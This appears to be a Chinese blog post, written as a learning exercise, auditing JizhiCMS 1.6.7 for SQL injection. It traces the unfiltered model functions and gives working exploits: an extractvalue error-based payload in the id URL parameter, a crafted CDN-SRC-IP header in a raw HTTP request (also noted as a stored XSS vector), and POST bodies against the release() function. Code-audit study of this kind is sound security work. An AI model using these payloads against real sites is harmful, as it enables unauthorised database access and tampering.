PHP代码审计学习–极致CMS1.6.7 SQL注入

  • A+
所属分类:代码审计

一、前言

最近在学习php代码审计,在cnvd发现极致cmssql注入问题挺多的,本文针对极致cms1.6.7进行多处sql注入审计。可能存在部分理解偏差的地方,还请师傅们指正。

PHP代码审计学习--极致CMS1.6.7 SQL注入

cms下载链接:https://www.jizhicms.cn/thread-95-1-1.html


二、目录结构

├── 404.html├── A后台控制文件├── Conf公共函数├── FrPHP框架├── Home前台控制文件├── Public公共静态文件├── README.md├── admin.php后台入口├── backup备份├── cache缓存├── favicon.ico├── index.php前台入口├── install├── readme.txt├── static静态文件└── web.config


三、函数


1.过滤函数frparam()

cms大量调用了frparam()函数(FrPHPlibController.php),函数代码:

// 获取URL参数值public function frparam($str=null, $int=0,$default = FALSE, $method = null){           $data = $this->_data;    if($str===null) return $data;    if(!array_key_exists($str,$data)){        return ($default===FALSE)?false:$default;    }      if($method===null){        $value = $data[$str];    }else{        $method = strtolower($method);        switch($method){            case 'get':            $value = $_GET[$str];            break;            case 'post':            $value = $_POST[$str];            break;            case 'cookie':            $value = $_COOKIE[$str];            break;                }     }       return format_param($value,$int);}


跟进函数format_param()

function format_param($value=null,$int=0){    if($value==null){ return '';}    switch ($int){        case 0://整数            return (int)$value;        case 1://字符串            $value=htmlspecialchars(trim($value), ENT_QUOTES);            if(!get_magic_quotes_gpc())$value = addslashes($value);            return $value;        case 2://数组            if($value=='')return '';            array_walk_recursive($value, "array_format");            return $value;        case 3://浮点            return (float)$value;        case 4:            if(!get_magic_quotes_gpc())$value = addslashes($value);            return trim($value);    }}

可以看出,format_param()函数将传递进来的$value变量进行字符类型判断然后做相应的处理。总之:该函数将输入变量进行了过滤。



2.sql处理函数update()

文件路径:jizhicms_Beta1.6.7FrPHPlibModel.php

// 修改数据    public function update($conditions,$row){        $where = "";        $row = $this->__prepera_format($row);        if(empty($row))return FALSE;        if(is_array($conditions)){            $join = array();            foreach( $conditions as $key => $condition ){                $condition = '''.$condition.''';                $join[] = "{$key} = {$condition}";            }            $where = "WHERE ".join(" AND ",$join);        }else{            if(null != $conditions)$where = "WHERE ".$conditions;        }        foreach($row as $key => $value){            if($value!==null){                $value = '''.$value.''';                $vals[] = "{$key} = {$value}";            }else{                $vals[] = "{$key} = null";            }        }        $values = join(", ",$vals);        $table = self::$table;        $sql = "UPDATE {$table} SET {$values} {$where}";        return $this->runSql($sql);      }

函数首先进行sql查询 ($sql = "SELECT {$fields} FROM {$table} {$where}"),然后进行return $this->db->getArray($sql);的操作,跟进 getArray()函数:

//执行SQL语句返回数组    public function getArray($sql){        if(!$result = $this->query($sql))return array();        if(!$this->Statement->rowCount())return array();        $rows = array();        while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}        $this->Statement=null;        array_pop($rows);        return $rows;    }


继续跟进到query()函数,第8行:

$msg=$this->pdo->errorInfo();

也就是说这里会在错误的情况下会输出报错页面。



 //执行SQL语句并检查是否错误    public function query($sql){        $this->filter[] = $sql;        $this->Statement = $this->pdo->query($sql);        if ($this->Statement) {            return $this;        }else{            $msg = $this->pdo->errorInfo();            if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));        }    }


4.sql处理函数 find()

find()函数与findAll()的区别就是find函数只查询一条数据。

    // 查询一条    public function find($where=null,$order=null,$fields=null,$limit=1){       if( $record = $this->findAll($where, $order, $fields, 1) ){            return array_pop($record);        }else{            return FALSE;        }    }


5.sql处理函数add()

add()函数会进行数据新增,总体来讲都会调用到runsql()函数,具体代码如下:

// 新增数据  public function add($row){     if(!is_array($row))return FALSE;      $row = $this->__prepera_format($row);      if(empty($row))return FALSE;      foreach($row as $key => $value){          if($value!==null){              $cols[] = $key;              $vals[] = '''.$value.''';          }      }      $col = join(',', $cols);      $val = join(',', $vals);      $table = self::$table;      $sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";      if( FALSE != $this->runSql($sql) ){          if( $newinserid = $this->db->lastInsertId() ){              return $newinserid;          }else{              $a=$this->find($row, "{$this->primary} DESC",$this->primary);              return array_pop($a);          }      }      return FALSE;  }


四、审计思路


可以发现这个cms的主要过滤函数是frparam(),进行sql处理的函数并没有对相应的参数进行过滤,并且都会通过以下处理流程进行报错输出:

$msg = $this->pdo->errorInfo();

如果在进行sql处理的时候没有将传递的参数通过frparam()函数进行过滤,会造成sql注入。即此cms存在sql注入的必要条件:

  • 有调用update()、add()、find()等函数

  • 存在可控参数

  • 不存在过滤函数

本次审计只要针对cms前台页面,不涉及网站后台,所以可以把目录缩小到/home/c目录下。然后结合xdebug进行调试。




五、sql注入


1、第一处注入

http://127.0.0.1/index.php?id=1'and%20extractvalue(1,%20concat(0x5c,%20(select%20database()),0x5c))%20and%20%20'1'='1

PHP代码审计学习--极致CMS1.6.7 SQL注入


这个漏洞点在HomecHomeController.php文件下的jizhi()函数。代码太长这里就不贴了,简易分析jizhi()函数。首先可以跟进注释来理解,就先接受前台的请求,做了一个简易的处理,在这没有对相关参数进行过滤。

PHP代码审计学习--极致CMS1.6.7 SQL注入


然后会进行多个if判断,传递参数的顺寻大致所以如下图最后执行到89行

$res = M('classtype')->find(array('htmlurl'=>$html));

PHP代码审计学习--极致CMS1.6.7 SQL注入


接下来的流程:find()->findAll()->getArray()->query()

PHP代码审计学习--极致CMS1.6.7 SQL注入


最后在HomecErrorController.php下进行输出:

PHP代码审计学习--极致CMS1.6.7 SQL注入

PHP代码审计学习--极致CMS1.6.7 SQL注入



2.第二处注入&存储XSS

第二个漏洞是cms的留言功能,在HomecMessageController.php下的index()函数,代码:

/**太长不贴**/

前部分代码主要是对传送过来的数据进行值的接收然后过滤,在整个文件的第41行

$w['ip'] = GetIP();

PHP代码审计学习--极致CMS1.6.7 SQL注入


跟进GetIP()函数(FrPHPcommon Functions.php)

function GetIP(){     static $ip = '';    $ip = $_SERVER['REMOTE_ADDR'];    if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {      $ip = $_SERVER['HTTP_CDN_SRC_IP'];    } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {      $ip = $_SERVER['HTTP_CLIENT_IP'];    } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#d{1,3}.d{1,3}.d{1,3}.d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {      foreach ($matches[0] AS $xip) {        if (!preg_match('#^(10|172.16|192.168).#', $xip)) {          $ip = $xip;          break;        }      }    }    return $ip;  }


GetIP()是一个获取用户真实IP地址操作,在接入cdn的情况下获取真实源ip的。第5行 :

 $ip = $_SERVER['HTTP_CDN_SRC_IP'];

$ip没有进行任何过滤,可以确认IP这个参数是可控的。回到整个index()函数继续向下走:

PHP代码审计学习--极致CMS1.6.7 SQL注入


第97行$res = M('message')->add($w);进行了一个sql的操作。由于在前面知道前面GetIP()函数处获取IP的地方过滤不完善,可以自己在请求头部构造一个CDN-SRC-IP即可造成sql注入。利用方法如下:

POST /message/index.html HTTP/1.1Host: 192.168.0.107Content-Length: 20Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.0.107Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.0.107/msg.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=260dtl37k2itrt42glvgbfshp1CDN-SRC-IP:2'and extractvalue(1,concat(0x5c,(select database()),0x5c)) and '1'='1Connection: close
tid=4&user=1&title=1

PHP代码审计学习--极致CMS1.6.7 SQL注入

既然这里参数没有过滤完善,后台如果看得到ip地址,那么这里应该也是可以造成XSS的。

PHP代码审计学习--极致CMS1.6.7 SQL注入


3.第三处注入

这个注入点在jizhicms_Beta1.6.7HomecUserController.php下的release()函数下:

/*函数代码太长不贴*/      

函数分析:

// 1.对post提交的表单数据进行取值$data = $this->frparam();// 2.然后对tid值进行了过滤$w['tid'] = $this->frparam('tid');

在最后有发现此过滤无效:

PHP代码审计学习--极致CMS1.6.7 SQL注入


继续跟进发现在整个文件的第957行的这一段代码

$w = get_fields_data($data,$w['molds']);

经过这个函数后,参数没有进行过滤,具体可以进行跟ConfFunctions.php:       

 /*太长不贴 */

整个函数主要问题是最后面的一个判断问题

if(array_key_exists($v['field'],$data)){
}

在debug的时候发现是没有用到值$v['field'],会直接执行$data[$v['field']] = '';造成tid参数过滤无效。

PHP代码审计学习--极致CMS1.6.7 SQL注入


返回release()函数,在965行进行一个sql的操作:

$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');

可以看到$sql变量是由tid和molds这两个参数组成的。这两个参数是都没有过滤的,所以这里存在注入。

PHP代码审计学习--极致CMS1.6.7 SQL注入

PHP代码审计学习--极致CMS1.6.7 SQL注入


然后将参数重新设置后,后面就主要是对内容标题等参数的过滤和判空等等,继续跟到后面整个文件的第1035行这里进行了一个if…else的操作。

PHP代码审计学习--极致CMS1.6.7 SQL注入

无论如何这里都会触发sql注入,本身对id这个参数是不存在过滤。


在发布文章的时候,触发以下内容将会造成sql注入:

$a = M($w['molds'])->add($w);


修改文章:

$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);

由于这里$w变量是直接接收前面的值,不存在过滤,所以同样也会造成sql注入。利用post数据包:

POST /user/release.html HTTP/1.1Host: 192.168.0.111Content-Length: 136Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.0.111Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.0.111/user/release.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3Connection: close
id=&isshow=&molds=article&tid=2&title=1&keywords=1&litpic=&file_litpic=&description=1&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%3C%2Fp%3E


PHP代码审计学习--极致CMS1.6.7 SQL注入


PHP代码审计学习--极致CMS1.6.7 SQL注入


PHP代码审计学习--极致CMS1.6.7 SQL注入




Post数据包2:

POST /user/release/id/57/molds/article.html HTTP/1.1Host: 192.168.0.111Content-Length: 231Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.0.111Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.0.111/user/release/id/57/molds/article.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=or47icmjn28rlqojj35trmgik3Connection: close
id=57&isshow=0&tid=2&title=1%27&keywords=1%27'&litpic=&file_litpic=&description=1%27&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3E1%26%2339%3B%3C%2Fp%3E


PHP代码审计学习--极致CMS1.6.7 SQL注入


PHP代码审计学习--极致CMS1.6.7 SQL注入



六、 总结


1.这个cms学习审计还是挺有意思的,代码本身不算特别复杂,由于进行sql处理的函数是没有对参数进行过滤的,也就导致审计注入的时候主要是注意有没有被frparam()函数进行过滤。


2.留言获取ip的功能也挺有趣的,由于对ip过滤不完善,导致产生sql和xss漏洞:


$ip = $_SERVER['HTTP_CDN_SRC_IP'];,


3.最后就是release()函数下假装过滤参数实际又没能生效:

$w = get_fields_data($data,$w['molds']);


PHP代码审计学习--极致CMS1.6.7 SQL注入

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: